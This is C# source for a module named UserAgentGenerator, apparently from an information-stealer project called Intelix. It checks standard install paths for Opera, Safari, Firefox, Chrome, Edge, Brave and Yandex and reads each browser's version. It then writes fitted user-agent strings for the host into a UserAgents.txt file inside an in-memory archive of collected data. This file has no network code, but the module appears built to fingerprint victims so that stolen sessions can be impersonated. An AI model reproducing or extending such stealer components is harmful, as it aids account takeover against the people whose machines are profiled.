using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using Intelix.Helper; using Intelix.Helper.Data; namespace Intelix.Targets.Browsers; internal class UserAgentGenerator : ITarget { private class BrowserAgent { public string Name { get; set; } public string UserAgent { get; set; } } private readonly string[] paths = new string[7] { "C:\\Program Files\\Opera\\launcher.exe", "C:\\Program Files\\Apple\\Safari\\Safari.exe", "C:\\Program Files\\Mozilla Firefox\\firefox.exe", "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe" }; private readonly string[] names = new string[7] { "Opera", "Safari", "Firefox", "Chrome", "Edge", "Brave", "Yandex" }; public void Collect(InMemoryZip zip, Counter counter) { string version = WindowsInfo.GetVersion(); string architecture = WindowsInfo.GetArchitecture(); List list = new List(); for (int i = 0; i < paths.Length; i++) { string text = ((names[i] == "Chrome") ? GenerateUserAgentChrome(paths[i], version, architecture) : GenerateUserAgent(paths[i], names[i], version, architecture)); if (!string.IsNullOrEmpty(text)) { list.Add(new BrowserAgent { Name = names[i], UserAgent = text }); } } if (list.Count != 0) { int maxName = Math.Max("Browser".Length, list.Max((BrowserAgent a) => a.Name.Length)); int maxUA = Math.Max("User-Agent".Length, list.Max((BrowserAgent a) => a.UserAgent.Length)); List list2 = new List { "Browser".PadRight(maxName) + " | " + "User-Agent".PadRight(maxUA), new string('-', maxName + maxUA + 3) }; list2.AddRange(list.Select((BrowserAgent a) => a.Name.PadRight(maxName) + " | " + a.UserAgent.PadRight(maxUA))); zip.AddTextFile("UserAgents.txt", string.Join(Environment.NewLine, list2)); } } private string GenerateUserAgent(string browserPath, string name, string osVersion, string architecture) { if (File.Exists(browserPath)) { return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36 " + name + "/" + GetBrowserVersion(browserPath); } return string.Empty; } private string GenerateUserAgentChrome(string browserPath, string osVersion, string architecture) { if (!File.Exists(browserPath)) { return string.Empty; } string browserVersion = GetBrowserVersion(browserPath); return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + browserVersion + " Safari/537.36"; } private string GetBrowserVersion(string browserPath) { if (!File.Exists(browserPath)) { return "Unknown"; } return FileVersionInfo.GetVersionInfo(browserPath).FileVersion; } }